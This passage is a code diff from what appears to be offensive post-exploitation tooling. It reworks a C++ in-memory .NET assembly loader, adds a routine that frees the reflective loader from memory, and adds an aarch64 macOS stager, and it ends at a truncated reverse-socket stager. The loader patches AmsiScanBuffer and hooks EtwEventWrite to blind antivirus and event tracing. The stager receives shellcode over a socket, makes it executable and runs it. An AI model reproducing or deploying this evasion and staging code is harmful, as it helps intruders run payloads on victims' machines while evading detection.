1, // only allow 1 instance of this pipe
0, // no outbound buffer
0, // no inbound buffer
0, // use default wait time
NULL // use default security attributes
);
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {
//printf("[CLRHOST] Failed to create outbound pipe instance.\n");
hr = -1;
goto Cleanup;
}
// This call blocks until a client process connects to the pipe
BOOL result = ConnectNamedPipe(pipe, NULL);
if (!result) {
//printf("[CLRHOST] Failed to make connection on named pipe.\n");
hr = -1;
goto Cleanup;
}
SetStdHandle(STD_OUTPUT_HANDLE, pipe);
SetStdHandle(STD_ERROR_HANDLE, pipe);
///////////////////// Done hijacking stdout
rgsabound[0].cElements = metadata.assemblySize;
rgsabound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
void* pvData = NULL;
hr = SafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(hr))
{
printf("Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
goto Cleanup;
}
//Reading memory parameters + amsiflag + args + assembly
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 11, &readed);
//Taking pointer to amsi
unsigned char *offsetamsi = allData + 8;
//Store amsi flag
amsiflag = (offsetamsi[0] != 0);
unsigned char *offsetetw = allData + 9;
//Store etw flag
etwflag = (offsetamsi[0] != 0);
unsigned char *offsetsign = allData + 10;
//Store sihnature flag
memcpy(signflag, offsetsign, 1);
//Taking pointer to args
unsigned char *offsetargs = allData + 11;
//Store parameters
memcpy(arg_s, offsetargs, raw_args_length);
//Taking pointer to assembly
unsigned char *offset = allData + raw_args_length + 11;
//Store assembly
memcpy(pvData, offset, raw_assembly_length);
LPCWSTR clrVersion;
if(FindVersion(pvData, raw_assembly_length))
{
clrVersion = L"v4.0.30319";
}
else
{
clrVersion = L"v2.0.50727";
}
// Store assembly
memcpy(pvData, data_ptr, metadata.assemblySize);
hr = SafeArrayUnaccessData(pSafeArray);
if (FAILED(hr))
{
printf("Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
goto Cleanup;
}
//Etw bypass
if (etwflag)
// Etw bypass
if (metadata.etwBypass)
{
int ptcResult = PatchEtw();
int ptcResult = PatchEtw(pipe);
if (ptcResult == -1)
{
wprintf(L"Etw bypass failed\n");
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");
goto Cleanup;
}
}
HMODULE hMscoree = LoadLibrary("mscoree.dll");
FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");
if (clrCreateInstance == NULL)
{
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");
goto Cleanup;
}
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
if(FAILED(hr))
if (FAILED(hr))
{
printf("CLRCreateInstance failed w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
IEnumUnknown* pEnumerator;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
if (FAILED(hr))
{
printf("Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
goto Cleanup;
}
BOOL isloaded = ClrIsLoaded(clrVersion, pEnumerator, (VOID**)&pRuntimeInfo);
if(!isloaded)
BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);
if (!isloaded)
{
hr = pMetaHost->GetRuntime(clrVersion, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
if (FAILED(hr))
{
wprintf(L"Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
goto Cleanup;
}
hr = pRuntimeInfo->IsLoadable(&bLoadable);
if (FAILED(hr) || !bLoadable)
{
wprintf(L"Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
goto Cleanup;
}
}
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
if(FAILED(hr))
if (FAILED(hr))
{
printf("ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
if (!isloaded)
@@ -215,185 +237,227 @@ int executeSharp(LPVOID lpPayload)
hr = pRuntimeHost->Start();
}
if(FAILED(hr))
if (FAILED(hr))
{
printf("CLR failed to start w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);
// Convert to wchar
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);
if(FAILED(hr))
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
if (FAILED(hr))
{
printf("ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**) &pDefaultAppDomain);
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);
if(FAILED(hr))
if (FAILED(hr))
{
printf("Failed to get default AppDomain w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);
goto Cleanup;
}
//Amsi bypass
if (amsiflag)
// Amsi bypass
if (metadata.amsiBypass)
{
int ptcResult = PatchAmsi();
int ptcResult = PatchAmsi(pipe);
if (ptcResult == -1)
{
printf("Amsi bypass failed\n");
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");
goto Cleanup;
}
}
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);
if(FAILED(hr))
if (FAILED(hr))
{
printf("Failed pDefaultAppDomain->Load_3 w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pAssembly->get_EntryPoint(&pMethodInfo);
if(FAILED(hr))
if (FAILED(hr))
{
printf("Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
goto Cleanup;
}
// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])
pMethodInfo->GetParameters(&psaEntryPointParameters);
hr = SafeArrayLock(psaEntryPointParameters);
if (!SUCCEEDED(hr))
{
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);
goto Cleanup;
}
long uBound, lBound;
SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);
SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);
long numArgs = uBound - lBound + 1;
hr = SafeArrayUnlock(psaEntryPointParameters);
if (!SUCCEEDED(hr))
{
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);
goto Cleanup;
}
ZeroMemory(&retVal, sizeof(VARIANT));
ZeroMemory(&obj, sizeof(VARIANT));
obj.vt = VT_NULL;
vtPsa.vt = (VT_ARRAY | VT_BSTR);
//Managing parameters
if(signflag[0] == '\x02')
switch (numArgs)
{
//if we have at least 1 parameter set cEleemnt to 1
case 0:
if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"
{
ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");
goto Cleanup;
}
// If no parameters set cElement to 0
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
break;
case 1:
{
// If we have at least 1 parameter set cElement to 1
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LPWSTR *szArglist;
int nArgs;
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length));
// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as
// it expects it to be a filename. This affects situations where the first argument contains backslashes,
// or if there are no arguments at all (it will just create one - the process's image name).
// To coerce it into performing the correct data transformation, we create a fake first parameter, and then
// ignore it in the output.
mbstowcs(wtext, (char *)arg_s, raw_args_length);
LPWSTR* szArglist;
int nArgs;
wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));
wtext[0] = L'X'; // Fake process name
wtext[1] = L' '; // Separator
mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);
szArglist = CommandLineToArgvW(wtext, &nArgs);
free(wtext);
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs);
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name
for(long i = 0;i< nArgs;i++)
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
{
size_t converted;
size_t strlength = wcslen(szArglist[i]) + 1;
OLECHAR *sOleText1 = new OLECHAR[strlength];
char * buffer = (char *)malloc(strlength * sizeof(char));
OLECHAR* sOleText1 = new OLECHAR[strlength];
char* buffer = (char*)malloc(strlength * sizeof(char));
wcstombs(buffer, szArglist[i], strlength);
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
BSTR strParam1 = SysAllocString(sOleText1);
SafeArrayPutElement(vtPsa.parray, &i, strParam1);
long actualPosition = i - 1;
SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);
free(buffer);
}
LocalFree(szArglist);
long iEventCdIdx(0);
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
break;
}
else
{
//if no parameters set cEleemnt to 0
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
default:
ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);
goto Cleanup;
}
//Assembly execution
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
if(FAILED(hr))
if (FAILED(hr))
{
printf("Failed pMethodInfo->Invoke_3 w/hr 0x%08lx\n", hr);
return -1;
ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);
goto Cleanup;
}
wprintf(L"Succeeded\n");
return 0;
Cleanup:
FlushFileBuffers(pipe);
DisconnectNamedPipe(pipe);
CloseHandle(pipe);
if (pEnumerator) {
pEnumerator->Release();
}
if (pMetaHost) {
pMetaHost->Release();
}
if (pRuntimeInfo) {
pRuntimeInfo->Release();
}
if (pRuntimeHost) {
if (pCustomAppDomain) {
pRuntimeHost->UnloadDomain(pCustomAppDomain);
}
pRuntimeHost->Release();
}
if (psaStaticMethodArgs) {
SafeArrayDestroy(psaStaticMethodArgs);
}
if (pSafeArray) {
SafeArrayDestroy(pSafeArray);
}
if (appdomainName) {
free(appdomainName);
}
if (clrVersion) {
free(clrVersion);
}
if (clrVersion_w) {
delete[] clrVersion_w;
}
if (arg_s) {
free(arg_s);
}
if (appdomainName_w) {
delete[] appdomainName_w;
}
return hr;
}
VOID Execute(LPVOID lpPayload)
{
if (!AttachConsole(-1))
// Attach or create console
if (GetConsoleWindow() == NULL) {
AllocConsole();
HWND wnd = GetConsoleWindow();
if (wnd)
ShowWindow(wnd, SW_HIDE);
}
executeSharp(lpPayload);
}
BOOL FindVersion(void * assembly, int length)
{
char* assembly_c;
assembly_c = (char*)assembly;
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);
for (int i = 0; i < length; i++)
{
for (int j = 0; j < 10; j++)
{
if (sig_40[j] != assembly_c[i + j])
{
break;
}
else
{
if (j == (9))
{
return TRUE;
}
}
}
}
executeSharp(lpPayload);
SetStdHandle(STD_OUTPUT_HANDLE, stdOut);
SetStdHandle(STD_ERROR_HANDLE, stdErr);
return FALSE;
}
ULONG NTAPI MyEtwEventWrite(
__in REGHANDLE RegHandle,
__in PCEVENT_DESCRIPTOR EventDescriptor,
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData)
{
ULONG uResult = 0;
_EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)
GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWriteFull");
if (EtwEventWriteFull == NULL) {
return 1;
}
switch (EventDescriptor->Id) {
case AssemblyDCStart_V1:
// Block CLR assembly loading events.
break;
case MethodLoadVerbose_V1:
// Block CLR method loading events.
break;
case ILStubGenerated:
// Block MSIL stub generation events.
break;
default:
// Forward all other ETW events using EtwEventWriteFull.
uResult = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData);
}
return uResult;
}
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize) {
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
PNT_TIB pTIB = NULL;
PTEB pTEB = NULL;
PPEB pPEB = NULL;
@@ -450,55 +514,52 @@ INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize) {
return 0;
}
BOOL PatchEtw()
BOOL PatchEtw(HANDLE pipe)
{
HMODULE lib = LoadLibraryA("ntdll.dll");
if (lib == NULL)
{
wprintf(L"Cannot load ntdll.dll");
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");
return -2;
}
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
if (lpFuncAddress == NULL)
{
wprintf(L"Cannot get address of EtwEventWrite");
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");
return -2;
}
// Add address of hook function to patch.
*(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite;
return InlinePatch(lpFuncAddress, uHook,sizeof(uHook));
return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));
}
BOOL PatchAmsi()
BOOL PatchAmsi(HANDLE pipe)
{
HMODULE lib = LoadLibraryA("amsi.dll");
if (lib == NULL)
{
printf("Cannot load amsi.dll");
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");
return -2;
}
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
if(addr == NULL)
if (addr == NULL)
{
printf("Cannot get address of AmsiScanBuffer");
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");
return -2;
}
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
}
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo) {
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
HRESULT hr;
ULONG fetched = 0;
DWORD vbSize;
BOOL retval = FALSE;
wchar_t currentversion[260];
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown **)&pRuntimeInfo, &fetched)) && fetched > 0)
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)
{
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
if (!FAILED(hr))
@@ -509,11 +570,8 @@ BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeIn
break;
}
}
((ICLRRuntimeInfo*)pRuntimeInfo)->Release();
}
return retval;
}
}
+1 -1
View File
@@ -18,6 +18,6 @@ using namespace mscorlib;
VOID Execute(LPVOID lpPayload);
BOOL FindVersion(void * assembly, int length);
BOOL PatchAmsi();
BOOL PatchAmsi(HANDLE pipe);
BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo);
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize);
@@ -94,7 +94,7 @@
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -106,7 +106,7 @@
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -121,7 +121,7 @@
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalLibraryDirectories>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64</AdditionalLibraryDirectories>
@@ -140,7 +140,7 @@
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalLibraryDirectories>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64</AdditionalLibraryDirectories>
@@ -150,6 +150,7 @@
<ClInclude Include="EtwTamper.h" />
<ClInclude Include="HostingCLR.h" />
<ClInclude Include="ReflectiveDLLInjection.h" />
<ClInclude Include="ReflectiveFree.h" />
<ClInclude Include="ReflectiveLoader.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
@@ -157,6 +158,7 @@
<ItemGroup>
<ClCompile Include="Executer.cpp" />
<ClCompile Include="HostingCLR.cpp" />
<ClCompile Include="ReflectiveFree.cpp" />
<ClCompile Include="ReflectiveLoader.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
@@ -1,56 +1,62 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Sources">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Headers">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ReflectiveLoader.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ReflectiveDLLInjection.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="HostingCLR.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="EtwTamper.h">
<Filter>Headers</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="HostingCLR.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="Executer.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="ReflectiveLoader.cpp">
<Filter>Sources</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm">
<Filter>Sources</Filter>
</MASM>
</ItemGroup>
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Sources">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Headers">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ReflectiveLoader.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ReflectiveDLLInjection.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="HostingCLR.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="EtwTamper.h">
<Filter>Headers</Filter>
</ClInclude>
<ClInclude Include="ReflectiveFree.h">
<Filter>Headers</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="HostingCLR.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="Executer.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="ReflectiveLoader.cpp">
<Filter>Sources</Filter>
</ClCompile>
<ClCompile Include="ReflectiveFree.cpp">
<Filter>Sources</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm">
<Filter>Sources</Filter>
</MASM>
</ItemGroup>
</Project>
+52
View File
@@ -0,0 +1,52 @@
#include "stdafx.h"
#include "ReflectiveFree.h"
#include <Windows.h>
typedef NTSTATUS
(*NtQueueApcThread)(
HANDLE ThreadHandle,
PVOID ApcRoutine,
ULONG_PTR SystemArgument1,
ULONG_PTR SystemArgument2,
ULONG_PTR SystemArgument3
);
VOID ReflectiveFree(HINSTANCE hAppInstance) {
NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread");
HANDLE hThread = NULL;
HANDLE hThisThread = NULL;
do {
if (!pNtQueueApcThread)
break;
// create a suspended thread that will just exit once the APCs have executed
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitThread, 0, CREATE_SUSPENDED, NULL);
if (!hThread)
break;
// open a real handle to this thread to pass in the APC so it operates on this thread and not itself
hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId());
if (!hThisThread)
break;
// tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited
NTSTATUS status = pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE);
// then close the handle so it's not leaked
DWORD result = QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
// then free the memory
status = pNtQueueApcThread(hThread, VirtualFree, (ULONG_PTR)hAppInstance, 0, MEM_RELEASE);
ResumeThread(hThread);
} while (FALSE);
if (hThread)
CloseHandle(hThread);
}
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) {
ReflectiveFree(hAppInstance);
ExitThread(dwExitCode);
return;
}
+6
View File
@@ -0,0 +1,6 @@
#pragma once
#include <windows.h>
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode);
VOID ReflectiveFree(HINSTANCE hAppInstance);
@@ -27,6 +27,7 @@
//===============================================================================================//
#include "stdafx.h"
#include "ReflectiveLoader.h"
#include "ReflectiveFree.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
@@ -74,6 +75,7 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
ULONG_PTR uiLibraryAddressOrig;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
@@ -116,6 +118,7 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
}
uiLibraryAddress--;
}
uiLibraryAddressOrig = uiLibraryAddress;
// STEP 1: process the kernels exports for the functions our loader needs...
@@ -529,6 +532,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
// Free the loader itself
((DLLMAIN)uiValueA)((HINSTANCE)uiLibraryAddressOrig, DLL_PROCESS_DETACH, NULL);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
+111
View File
@@ -0,0 +1,111 @@
// Compile: clang stage_mettle.s
// Shellcode: objdump -d a.out | cut -d ' ' -f 2-5 | cut -d ' ' -f 2- | ruby tools/payloads/format_aarch64.rb
.equ SYS_RECVFROM, 0x200001d
.equ SYS_MPROTECT, 0x200004a
.equ SYS_MMAP, 0x20000c5
.equ SYS_EXIT, 0x2000001
.global _main
_main:
/* mmap(addr=0, length=stager_size, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
mov x0, xzr
adr x1, stager_size
ldr x1, [x1]
mov x2, #2
mov x3, #0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
/* sockfd is in x13 */
mov x10, x0
/* recvfrom(sockfd='x13', address='x10', length=stager_size, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x10
adr x2, stager_size
ldr x2, [x2]
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
/* mprotect(addr='x10', length=stager_size, prot=0x5 (PROT_READ | PROT_EXEC)) */
mov x0, x10
adr x1, stager_size
ldr x1, [x1]
mov x2, #5
ldr x16, =SYS_MPROTECT
svc 0
/* mmap(addr=0, length=payload_size, prot=3 (PROT_READ | PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
mov x0, xzr
adr x1, payload_size
ldr x1, [x1]
mov x2, #3
mov x3, #0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
mov x11, x0
/* recvfrom(sockfd='x13', address='x11', length=payload_size, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x11
adr x2, payload_size
ldr x2, [x2]
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
/* add entry_offset */
adr x0, entry_offset
ldr x0, [x0]
add x0, x0, x10
adr x10, payload_size
ldr x10, [x10]
mov x12, x11
mov x15, x0
/* make stack space */
/* mmap(addr=0, length=0x40000, prot=3 (PROT_READ | PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
mov x0, xzr
mov x1, 0x40000
mov x2, 3
mov x3, 0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
//mov x1, sp
//bic sp, x1, #15
//sub sp, sp, 0x1000
add x0, x0, 0x20000
mov sp, x0
mov x0, x13
/* jump to main_osx */
blr x15
failed:
mov x0, 0
ldr x16, =SYS_EXIT
svc 0
.balign 16
stager_size:
.word 0x4242
.word 0x4343
payload_size:
.word 0x4444
.word 0x4545
entry_offset:
.word 0x4646
.word 0x4747
@@ -0,0 +1,120 @@
// Compile: clang stager_sock_reverse.s
